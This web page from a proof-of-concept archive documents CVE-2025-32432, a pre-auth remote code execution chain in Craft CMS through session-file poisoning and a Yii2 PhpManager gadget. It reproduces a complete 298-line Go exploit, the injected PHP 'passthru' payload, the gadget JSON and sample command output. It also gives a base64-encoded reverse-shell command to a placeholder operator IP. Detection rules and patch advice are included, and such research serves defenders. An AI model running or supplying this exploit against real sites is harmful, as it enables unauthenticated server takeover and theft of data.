PoC Archive PoC Archive
CVE-2025-32432 category: web CVSS 10 (CRITICAL) KEV EPSS 100%
Patched

Craft CMS Pre-Auth Remote Code Execution via Session Poisoning + Yii2 PhpManager Gadget (CVE-2025-32432)

Published: 2026-07-31 • Researcher: HeltonPojo (Go port; original discovery and PoC by c0gnit00 / GHSA)

Target software Craft CMS (craftcms/cms)
Affected versions 3.x < 3.9.15, 4.x < 4.14.15, 5.x < 5.6.17
Status Patched (Craft CMS 5.6.17+)
Severity Critical · CVSS 10
On this page

Metadata

FieldValue
Date Added2026-07-31
Last Updated2026-07-30
Author / ResearcherHeltonPojo (Go port; original discovery and PoC by c0gnit00 / GHSA)
CVE / AdvisoryCVE-2025-32432
Categoryweb
SeverityCritical
CVSS Score10.0 (CVSS 3.1, AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
StatusPatched (Craft CMS 5.6.17+)
Tagscraftcms, rce, preauth, session-poisoning, php-deserialization, yii2, phpfpm, unauthenticated, go, cve-2025-32432
RelatedN/A — this is the incomplete-fix follow-up to CVE-2023-41892 (GHSA-4w8r-3xrw-v25g), a prior Craft CMS deserialization RCE

Affected Target

FieldValue
Software / SystemCraft CMS (craftcms/cms)
Versions Affected3.x < 3.9.15, 4.x < 4.14.15, 5.x < 5.6.17
Language / PlatformPHP 7/8 (Yii2 framework, PHP-FPM); this PoC is written in Go
Authentication RequiredNo
Network Access RequiredYes — HTTP reachability to the Craft CMS front controller (/index.php) and control panel routes

Summary

Craft CMS shipped an incomplete patch for the earlier CVE-2023-41892 deserialization RCE, leaving a critical, pre-auth code-injection chain exploitable through the assets/generate-transform action. An unauthenticated attacker first poisons the server-side PHP session file by requesting ?p=admin/dashboard&a=<PHP payload>, which Craft reflects verbatim into the session data. The attacker then POSTs a crafted transform handle to the anonymous assets/generate-transform endpoint; the handle array is spread into a Craft::createObject() call, abusing Yii2 behavior attachment (as prefix) and the __class override to instantiate a yii\rbac\PhpManager gadget whose init()load()loadFromFile() performs a raw require on the poisoned session file, executing the injected PHP and returning command output. Rated CVSS 10.0 Critical, this was exploited in the wild (listed in CISA KEV) and is fixed in Craft CMS 3.9.15, 4.14.15, and 5.6.17.

Vulnerability Details

Root Cause

CWE-94 code injection via insecure deserialization of an attacker-controlled object graph in the asset transform generation feature. Craft exposes admin/actions/assets/generate-transform as an allowAnonymous action and spreads the user-supplied handle array into a Craft::createObject() call without sanitization. Yii2s Component::__set() treats array keys prefixed as as behavior attachments and keys named __class as object-class overrides, so a remote, unauthenticated client can construct arbitrary objects. Combined with a PHP session file the attacker can poison with arbitrary PHP (via the raw query string ?p=admin/dashboard&a= being persisted into session data), the yii\rbac\PhpManager gadget ends in loadFromFile(), which requires the specified file — turning the poisoned session file into executed code. This is the same code family as CVE-2023-41892; the fix for that earlier CVE was incomplete, which is exactly what CVE-2025-32432 covers.

Attack Vector

  1. Session + CSRF harvestGET /admin/login returns the CraftSessionId cookie and a CSRF token embedded as csrfTokenValue in the page.
  2. Session poisoningGET /index.php?p=admin/dashboard&a=<?=passthru($_GET["cmd"]);die()?> injects the PHP payload into the PHP session file on disk (/var/lib/php/sessions/sess_<CraftSessionId>).
  3. Asset ID brute-force — repeated POST /index.php?p=admin/actions/assets/generate-transform for assetId 1..300 using a probe handle (GuzzleHttp\Psr7\FnStream with _fn_close=phpinfo); a non-404 response marks a valid asset ID.
  4. RCE triggerPOST /index.php?p=admin/actions/assets/generate-transform&cmd=<command> with the valid assetId and a handle whose __class is yii\rbac\PhpManager and whose __construct() sets itemFile to the poisoned session file; passthru executes the command and the output is returned in the HTTP response body.

Impact

Fully unauthenticated remote code execution as the PHP-FPM process user on the Craft CMS host. Because Craft CMS deployments typically hold database credentials, asset/queue services, and admin session state, compromise usually yields complete site takeover, database access, and a foothold for lateral movement. The chain requires no credentials, no CSRF bypass beyond the token retrieved from the login page, and no user interaction. A SensePost investigation tied the CVE to an in-the-wild exploitation campaign, and it is present in the CISA Known Exploited Vulnerabilities catalog.

Environment / Lab Setup

Output
OS:          Linux (any), PHP-FPM backend for Craft CMS
Target:      Craft CMS < 5.6.17 (e.g. 5.6.16) with the default /var/lib/php/sessions path
Attacker:    Go 1.26+ toolchain, git clone + go run
Tools:       main.go (this folder), net/http client with cookie jar

Setup Steps

Shell script
1
2
3
4
git clone https://github.com/HeltonPojo/CVE-2025-32432.git
cd CVE-2025-32432

go run main.go -u http://target.com -c whoami

Proof of Concept

See main.go (299-line Go port) in this folder — mirrored unmodified from HeltonPojo/CVE-2025-32432. The Go code implements the full chain end-to-end: harvests CraftSessionId + CSRF token from GET /admin/login, poisons the session file via the a= query parameter, brute-forces a valid asset ID (1..300) with an FnStream/phpinfo probe, then triggers yii\rbac\PhpManager through assets/generate-transform to execute the chosen command. No obfuscation, no hardcoded C2, no destructive behavior — it only talks to the operator-specified target URL.

Step-by-Step Reproduction

  1. Run the exploit with a benign command

    Shell script
    1
    
    go run main.go -u http://target.com -c id

    The script performs the full chain automatically and prints the staged progress.

  2. Optional reverse shell — base64-encode a shell command with the operator IP/port, then pass it as the command:

    Shell script
    1
    2
    3
    
    echo 'exec sh -i >& /dev/tcp/SEU_IP/4444 0>&1' | base64
    nc -lvnp 4444
    go run main.go -u http://target.com -c "echo 'ZXhlYyBzaCAtaSA+JiAvZGV2L3RjcC9TRVVfSVAvNDQ0NCAwPiYxCg==' | base64 -d | bash"

    (Replace the base64 string with one generated for the operator IP/port.)

Exploit Code

See main.go in this folder (full, unmodified upstream source). Core chain excerpt:

Go source
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// 1) Poison the PHP session file via the raw query string
injection := `<?=passthru($_GET["cmd"]);die()?>`
rawQuery := "p=admin/dashboard&a=" + injection
session.Get(baseURL+"/index.php", rawQuery)

// 2) RCE handle: Yii2 PhpManager gadget requiring the poisoned session file
payload := map[string]any{
	"assetId": assetID,
	"handle": map[string]any{
		"width":  1,
		"height": 1,
		"as hack": map[string]any{
			"class":   "craft\\behaviors\\FieldLayoutBehavior",
			"__class": "yii\\rbac\\PhpManager",
			"__construct()": []any{
				map[string]any{
					"itemFile": fmt.Sprintf("/var/lib/php/sessions/sess_%s", sessionID),
				},
			},
		},
	},
}
session.PostJSON(baseURL+"/index.php",
	map[string]string{"p": "admin/actions/assets/generate-transform", "cmd": cmd},
	payload, map[string]string{"X-CSRF-Token": csrfToken})

Expected Output

Output
[+] Obtained CraftSessionId: abc123def456...
[+] Obtained CSRF token: xyz789...
[+] Session poisoning request sent (HTTP 200)
[*] Brute-forcing Asset ID (best-effort)...
[+] Potential valid Asset ID found: 42 (HTTP 200)
[+] Using Asset ID: 42
Status Code: 200

[+] Server response:
[+] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Detection & Indicators of Compromise

Output
GET /index.php?p=admin/dashboard&a=%3C%3F%3Dpassthru( HTTP/1.1

POST /index.php?p=admin/actions/assets/generate-transform  (repeated, assetId incremented)
POST /index.php?p=admin/actions/assets/generate-transform&cmd=<command>

"as hack", "__class", "PhpManager", "FnStream", "FieldLayoutBehavior"

SIEM / IDS Rule (example):

Output
alert http any any -> any any (msg:"Craft CMS CVE-2025-32432 generate-transform PhpManager probe";
  content:"admin/actions/assets/generate-transform"; http_uri;
  content:"__class"; http_client_body; content:"PhpManager"; http_client_body;
  sid:9000102;)

Remediation

ActionDetail
PatchUpgrade to Craft CMS 3.9.15, 4.14.15, or 5.6.17 (or later) — the versions that fully close this chain.
WorkaroundBlock or rate-limit admin/actions/assets/generate-transform at a WAF/reverse proxy; add WAF rules rejecting bodies containing __class, as hack, PhpManager, or FnStream; keep the control panel off untrusted networks.
Config HardeningEnsure the PHP session save path is not web-accessible and is not user-writable by unprivileged processes; monitor the session directory for injected PHP markers; restrict anonymous access to asset transform generation if not required.

References

Notes

  • Ingest source: the real upstream files were read directly before writing this entry (not just repo metadata). The Go port was reviewed in full and genuinely implements the four-stage chain (session + CSRF harvest, session poisoning, asset ID brute-force, PhpManager RCE) with no obfuscation, no hardcoded callbacks, and no destructive behavior. It targets only the operator-specified URL and command.
  • Author credibility: the HeltonPojo account (created 2020, commit identity heltonpj5@gmail.com) is an established account that credits the original author (c0gnit00) directly in the upstream README. This is the Go port of the original Python PoC.
  • Version note: early public writeups cited Craft CMS 5.6.6 as the fix, but the authoritative GHSA and NVD records list the fully patched versions as 3.9.15, 4.14.15, and 5.6.17; this entry uses those.
  • Session path caveat: the Go port hardcodes /var/lib/php/sessions/ as the PHP session save path (standard on Debian/Ubuntu PHP-FPM). Deployments using a non-standard session.save_path would need that path adjusted to match.
  • Related CVE: CVE-2025-32431 is a separate Craft CMS issue disclosed around the same time (2025-04); it is not covered here. CVE-2025-32432 is itself the follow-up incomplete-fix for CVE-2023-41892 (GHSA-4w8r-3xrw-v25g).
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
package main

import (
	"bytes"
	"crypto/tls"
	"encoding/json"
	"flag"
	"fmt"
	"io"
	"net/http"
	"net/http/cookiejar"
	"net/url"
	"os"
	"regexp"
	"strings"
	"time"
)

// Session agrupa o http.Client com headers persistentes entre requisições
type Session struct {
	Client  *http.Client
	Headers http.Header
}

func NewSession(skipVerify bool) (*Session, error) {
	jar, err := cookiejar.New(nil)
	if err != nil {
		return nil, err
	}

	transport := &http.Transport{
		TLSClientConfig: &tls.Config{InsecureSkipVerify: skipVerify},
	}

	return &Session{
		Client: &http.Client{
			Jar:       jar,
			Transport: transport,
			Timeout:   30 * time.Second,
		},
		Headers: make(http.Header),
	}, nil
}

func (s *Session) Do(req *http.Request) (*http.Response, error) {
	for key, values := range s.Headers {
		for _, v := range values {
			req.Header.Add(key, v)
		}
	}
	return s.Client.Do(req)
}

func (s *Session) Get(rawURL string, rawQuery string) (*http.Response, error) {
	u, err := url.Parse(rawURL)
	if err != nil {
		return nil, err
	}

	u.RawQuery = rawQuery

	req, err := http.NewRequest(http.MethodGet, u.String(), nil)
	if err != nil {
		return nil, err
	}
	return s.Do(req)
}

func (s *Session) PostJSON(rawURL string, params map[string]string, body any, extraHeaders map[string]string) (*http.Response, error) {
	u, err := url.Parse(rawURL)
	if err != nil {
		return nil, err
	}

	if params != nil {
		q := u.Query()
		for k, v := range params {
			q.Set(k, v)
		}
		u.RawQuery = q.Encode()
	}

	jsonBody, err := json.Marshal(body)
	if err != nil {
		return nil, err
	}

	req, err := http.NewRequest(http.MethodPost, u.String(), bytes.NewReader(jsonBody))
	if err != nil {
		return nil, err
	}
	req.Header.Set("Content-Type", "application/json")

	for k, v := range extraHeaders {
		req.Header.Set(k, v)
	}

	return s.Do(req)
}

func (s *Session) GetCookie(rawURL, name string) string {
	u, err := url.Parse(rawURL)
	if err != nil {
		return ""
	}
	for _, c := range s.Client.Jar.Cookies(u) {
		if c.Name == name {
			return c.Value
		}
	}
	return ""
}

// ---

func findAssetID(baseURL string, maxAttempts int, csrfToken string, session *Session) int {
	fmt.Println("[*] Brute-forcing Asset ID (best-effort)...")

	for assetID := 1; assetID <= maxAttempts; assetID++ {
		payload := map[string]any{
			"assetId": assetID,
			"handle": map[string]any{
				"width":  1,
				"height": 1,
				"as hack": map[string]any{
					"class":         "craft\\behaviors\\FieldLayoutBehavior",
					"__class":       "GuzzleHttp\\Psr7\\FnStream",
					"__construct()": []any{[]any{}},
					"_fn_close":     "phpinfo",
				},
			},
		}

		resp, err := session.PostJSON(
			baseURL+"/index.php",
			map[string]string{"p": "admin/actions/assets/generate-transform"},
			payload,
			map[string]string{"X-CSRF-Token": csrfToken},
		)
		if err != nil {
			continue
		}
		resp.Body.Close()

		if resp.StatusCode != 404 {
			fmt.Printf("[+] Potential valid Asset ID found: %d (HTTP %d)\n", assetID, resp.StatusCode)
			return assetID
		}
	}

	fmt.Printf("[-] No valid Asset ID found after %d attempts.\n", maxAttempts)
	return 0
}

func implantPHP(baseURL string, session *Session) bool {
	injection := `<?=passthru($_GET["cmd"]);die()?>`
	rawQuery := "p=admin/dashboard&a=" + injection

	resp, err := session.Get(baseURL+"/index.php", rawQuery)
	if err != nil {
		fmt.Printf("[-] Injection error: %v\n", err)
		return false
	}
	defer resp.Body.Close()

	if resp.StatusCode == 200 || resp.StatusCode == 302 {
		fmt.Printf("[+] Session poisoning request sent (HTTP %d)\n", resp.StatusCode)
		return true
	}

	fmt.Printf("[-] Injection failed (HTTP %d)\n", resp.StatusCode)
	return false
}

func executeCommand(baseURL string, assetID int, sessionID, csrfToken string, session *Session, cmd string) string {
	payload := map[string]any{
		"assetId": assetID,
		"handle": map[string]any{
			"width":  1,
			"height": 1,
			"as hack": map[string]any{
				"class":   "craft\\behaviors\\FieldLayoutBehavior",
				"__class": "yii\\rbac\\PhpManager",
				"__construct()": []any{
					map[string]any{
						"itemFile": fmt.Sprintf("/var/lib/php/sessions/sess_%s", sessionID),
					},
				},
			},
		},
	}

	resp, err := session.PostJSON(
		baseURL+"/index.php",
		map[string]string{
			"p":   "admin/actions/assets/generate-transform",
			"cmd": cmd,
		},
		payload,
		map[string]string{"X-CSRF-Token": csrfToken},
	)
	if err != nil {
		return fmt.Sprintf("[-] Execution request failed: %v", err)
	}
	defer resp.Body.Close()

	fmt.Printf("Status Code: %d\n", resp.StatusCode)

	body, err := io.ReadAll(resp.Body)
	if err != nil {
		return fmt.Sprintf("[-] Failed to read response body: %v", err)
	}

	text := string(body)
	if strings.Contains(text, "?p=admin/dashboard&a=") {
		return text
	}
	return "Deu errado"
}

func main() {
	targetURL := flag.String("u", "", "Target base URL (e.g. https://victim.com)")
	cmd := flag.String("c", "", "Command to execute (e.g. id, whoami)")
	flag.Parse()

	if *targetURL == "" || *cmd == "" {
		fmt.Println("Usage: exploit -u <url> -c <cmd>")
		os.Exit(1)
	}

	baseURL := strings.TrimRight(*targetURL, "/")

	session, err := NewSession(true) // InsecureSkipVerify = true
	if err != nil {
		fmt.Printf("[-] Failed to create session: %v\n", err)
		os.Exit(1)
	}

	// Step 0: Obter sessão e CSRF token
	resp, err := session.Get(baseURL+"/admin/login", "")
	if err != nil {
		fmt.Printf("[-] Failed to establish session: %v\n", err)
		os.Exit(1)
	}
	defer resp.Body.Close()

	sessionID := session.GetCookie(baseURL+"/admin/login", "CraftSessionId")
	if sessionID == "" {
		fmt.Println("[-] Failed to obtain CraftSessionId")
		os.Exit(1)
	}
	fmt.Printf("[+] Obtained CraftSessionId: %s\n", sessionID)

	body, err := io.ReadAll(resp.Body)
	if err != nil {
		fmt.Printf("[-] Failed to read login page: %v\n", err)
		os.Exit(1)
	}

	re := regexp.MustCompile(`csrfTokenValue":"([^"]+)"`)
	matches := re.FindSubmatch(body)
	if matches == nil {
		fmt.Println("[-] Failed to obtain CSRF token")
		os.Exit(1)
	}
	csrfToken := string(matches[1])
	fmt.Printf("[+] Obtained CSRF token: %s...\n", csrfToken[:20])

	// Step 1: Envenenar o arquivo de sessão
	if !implantPHP(baseURL, session) {
		fmt.Println("[-] Session poisoning failed")
		os.Exit(1)
	}

	fmt.Println("[*] Waiting for session file to be written...")
	time.Sleep(2 * time.Second)

	// Determinar Asset ID
	assetID := findAssetID(baseURL, 300, csrfToken, session)
	if assetID == 0 {
		fmt.Println("[-] Exploitation aborted: no valid Asset ID found")
		os.Exit(1)
	}
	fmt.Printf("[+] Using Asset ID: %d\n", assetID)

	// Step 2: Disparar RCE
	output := executeCommand(baseURL, assetID, sessionID, csrfToken, session, *cmd)

	fmt.Println("\n[+] Server response:")
	parts := strings.SplitN(output, "<!doctype", 2)
	clean := strings.TrimSpace(parts[0])
	if clean != "" {
		fmt.Println("[+] Command output:")
		fmt.Println(clean)
	} else {
		fmt.Println(output)
	}
}